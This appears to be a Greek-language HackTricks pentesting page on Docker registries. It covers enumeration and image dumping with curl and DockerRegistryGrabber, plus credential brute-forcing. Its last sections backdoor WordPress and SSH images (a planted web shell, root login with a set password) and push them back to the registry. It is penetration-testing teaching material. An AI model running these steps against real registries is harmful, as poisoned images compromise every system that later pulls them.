# 5000 - Pentesting Docker Registry {{#include ../banners/hacktricks-training.md}} ## Basic Information Ένα σύστημα αποθήκευσης και διανομής γνωστό ως **Docker registry** είναι διαθέσιμο για εικόνες Docker που ονομάζονται και μπορεί να υπάρχουν σε πολλές εκδόσεις, διακριτές μέσω ετικετών. Αυτές οι εικόνες οργανώνονται μέσα σε **Docker repositories** στο registry, κάθε repository αποθηκεύει διάφορες εκδόσεις μιας συγκεκριμένης εικόνας. Η παρεχόμενη λειτουργικότητα επιτρέπει την τοπική λήψη εικόνων ή την αποστολή τους στο registry, εφόσον ο χρήστης έχει τις απαραίτητες άδειες. **DockerHub** λειτουργεί ως η προεπιλεγμένη δημόσια registry για Docker, αλλά οι χρήστες έχουν επίσης την επιλογή να λειτουργήσουν μια τοπική έκδοση του ανοιχτού κώδικα Docker registry/distribution ή να επιλέξουν την εμπορικά υποστηριζόμενη **Docker Trusted Registry**. Επιπλέον, διάφορες άλλες δημόσιες registries μπορούν να βρεθούν online. Για να κατεβάσετε μια εικόνα από μια τοπική registry, χρησιμοποιείται η εξής εντολή: ```bash docker pull my-registry:9000/foo/bar:2.1 ``` Αυτή η εντολή ανακτά την εικόνα `foo/bar` έκδοση `2.1` από το τοπικό μητρώο στον τομέα `my-registry` στην θύρα `9000`. Αντίθετα, για να κατεβάσετε την ίδια εικόνα από το DockerHub, ειδικά αν το `2.1` είναι η πιο πρόσφατη έκδοση, η εντολή απλοποιείται σε: ```bash docker pull foo/bar ``` **Προεπιλεγμένη θύρα:** 5000 ``` PORT STATE SERVICE VERSION 5000/tcp open http Docker Registry (API: 2.0) ``` ## Ανακάλυψη Ο ευκολότερος τρόπος για να ανακαλύψετε αυτή την υπηρεσία που τρέχει είναι να την δείτε στην έξοδο του nmap. Ούτως ή άλλως, σημειώστε ότι καθώς είναι μια υπηρεσία βασισμένη σε HTTP μπορεί να είναι πίσω από HTTP proxies και το nmap δεν θα την ανιχνεύσει.\ Ορισμένα αποτυπώματα: - Αν αποκτήσετε πρόσβαση στο `/` δεν επιστρέφεται τίποτα στην απάντηση - Αν αποκτήσετε πρόσβαση στο `/v2/` τότε επιστρέφεται το `{}` - Αν αποκτήσετε πρόσβαση στο `/v2/_catalog` μπορεί να αποκτήσετε: - `{"repositories":["alpine","ubuntu"]}` - `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}` ## Αριθμητική ### HTTP/HTTPS Το Docker registry μπορεί να έχει ρυθμιστεί να χρησιμοποιεί **HTTP** ή **HTTPS**. Έτσι, το πρώτο πράγμα που μπορεί να χρειαστεί να κάνετε είναι να **βρείτε ποιο** έχει ρυθμιστεί: ```bash curl -s http://10.10.10.10:5000/v2/_catalog #If HTTPS Warning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: " to save to a file. #If HTTP {"repositories":["alpine","ubuntu"]} ``` ### Authentication Το Docker registry μπορεί επίσης να ρυθμιστεί ώστε να απαιτεί **authentication**: ```bash curl -k https://192.25.197.3:5000/v2/_catalog #If Authentication required {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]} #If no authentication required {"repositories":["alpine","ubuntu"]} ``` Αν το Docker Registry απαιτεί αυθεντικοποίηση, μπορείτε να [**δοκιμάσετε να το σπάσετε με brute force χρησιμοποιώντας αυτό**](../generic-hacking/brute-force.md#docker-registry).\ **Αν βρείτε έγκυρα διαπιστευτήρια, θα χρειαστεί να τα χρησιμοποιήσετε** για να καταμετρήσετε το registry, στο `curl` μπορείτε να τα χρησιμοποιήσετε έτσι: ```bash curl -k -u username:password https://10.10.10.10:5000/v2/_catalog ``` ### Enumeration using DockerRegistryGrabber [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) είναι ένα εργαλείο python για την καταμέτρηση / εξαγωγή του docker degistry (χωρίς ή με βασική αυθεντικοποίηση) ```bash usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url ____ ____ ____ | _ \ | _ \ / ___| | | | || |_) || | _ | |_| || _ < | |_| | |____/ |_| \_\ \____| Docker Registry grabber tool v2 by @SyzikSecu positional arguments: url URL options: -h, --help show this help message and exit -p port port to use (default : 5000) Authentication: -U USERNAME Username -P PASSWORD Password -A header Authorization bearer token Actions: --list --dump_all --dump DOCKERNAME DockerName Example commands: python drg.py http://127.0.0.1 --list python drg.py http://127.0.0.1 --dump my-ubuntu python drg.py http://127.0.0.1 --dump_all python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all python drg.py https://127.0.0.1 -A '' --list python drg.py https://127.0.0.1 -A '' --dump my-ubuntu python drg.py https://127.0.0.1 -A '' --dump_all python3 DockerGraber.py http://127.0.0.1 --list [+] my-ubuntu [+] my-ubuntu2 python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu [+] blobSum found 5 [+] Dumping my-ubuntu [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 python3 DockerGraber.py http://127.0.0.1 --dump_all [+] my-ubuntu [+] my-ubuntu2 [+] blobSum found 5 [+] Dumping my-ubuntu [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 [+] blobSum found 5 [+] Dumping my-ubuntu2 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 ``` ### Enumeration using curl Μόλις **αποκτήσετε πρόσβαση στο docker registry** εδώ είναι μερικές εντολές που μπορείτε να χρησιμοποιήσετε για να το καταγράψετε: ```bash #List repositories curl -s http://10.10.10.10:5000/v2/_catalog {"repositories":["alpine","ubuntu"]} #Get tags of a repository curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list {"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]} #Get manifests curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest { "schemaVersion": 1, "name": "ubuntu", "tag": "latest", "architecture": "amd64", "fsLayers": [ { "blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935" }, { "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4" }, { "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10" } ], "history": [ { "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}" }, { "v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}" }, { "v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}" } ], "signatures": [ { "header": { "jwk": { "crv": "P-256", "kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX", "kty": "EC", "x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg", "y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg" }, "alg": "ES256" }, "signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q", "protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ" } ] } #Download one of the previously listed blobs curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar #Inspect the insides of each blob tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory ``` > [!WARNING] > Σημειώστε ότι όταν κατεβάζετε και αποσυμπιέζετε τα αρχεία και τους φακέλους blobs θα εμφανιστούν στον τρέχοντα κατάλογο. **Εάν κατεβάσετε όλα τα blobs και τα αποσυμπιέσετε στον ίδιο φάκελο, θα αντικαταστήσουν τις τιμές από τα προηγουμένως αποσυμπιεσμένα blobs**, οπότε να είστε προσεκτικοί. Μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε κάθε blob μέσα σε διαφορετικό φάκελο για να ελέγξετε το ακριβές περιεχόμενο κάθε blob. ### Enumeration using docker ```bash #Once you know which images the server is saving (/v2/_catalog) you can pull them docker pull 10.10.10.10:5000/ubuntu #Check the commands used to create the layers of the image docker history 10.10.10.10:5000/ubuntu #IMAGE CREATED CREATED BY SIZE COMMENT #ed05bef01522 2 years ago ./run.sh 46.8MB # 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B # 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B # 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B # 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB #Run and get a shell docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running docker ps #Using a different shell docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container ``` ### Backdooring WordPress image Στο σενάριο όπου έχετε βρει ένα Docker Registry που αποθηκεύει μια εικόνα wordpress, μπορείτε να το backdoor.\ **Δημιουργήστε** το **backdoor**: ```bash:shell.php ``` Δημιουργήστε ένα **Dockerfile**: ```bash:Dockerfile FROM 10.10.10.10:5000/wordpress COPY shell.php /app/ RUN chmod 777 /app/shell.php ``` **Δημιουργήστε** την νέα εικόνα, **ελέγξτε** ότι έχει δημιουργηθεί, και **σπρώξτε** την: ```bash docker build -t 10.10.10.10:5000/wordpress . #Create docker images docker push registry:5000/wordpress #Push it ``` ### Backdooring SSH server image Υποθέστε ότι βρήκατε ένα Docker Registry με μια εικόνα SSH και θέλετε να την backdoor.\ **Κατεβάστε** την εικόνα και **τρέξτε** την: ```bash docker pull 10.10.10.10:5000/sshd-docker-cli docker run -d 10.10.10.10:5000/sshd-docker-cli ``` Εξαγάγετε το αρχείο `sshd_config` από την εικόνα SSH: ```bash docker cp 4c989242c714:/etc/ssh/sshd_config . ``` Και τροποποιήστε το για να ορίσετε: `PermitRootLogin yes` Δημιουργήστε ένα **Dockerfile** όπως το παρακάτω: {{#tabs}} {{#tab name="Dockerfile"}} ```bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd_config /etc/ssh/ RUN echo root:password | chpasswd ``` {{#endtab}} {{#endtabs}} **Δημιουργήστε** τη νέα εικόνα, **ελέγξτε** ότι έχει δημιουργηθεί και **σπρώξτε** την: ```bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it ``` ## Αναφορές - [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/) {{#include ../banners/hacktricks-training.md}}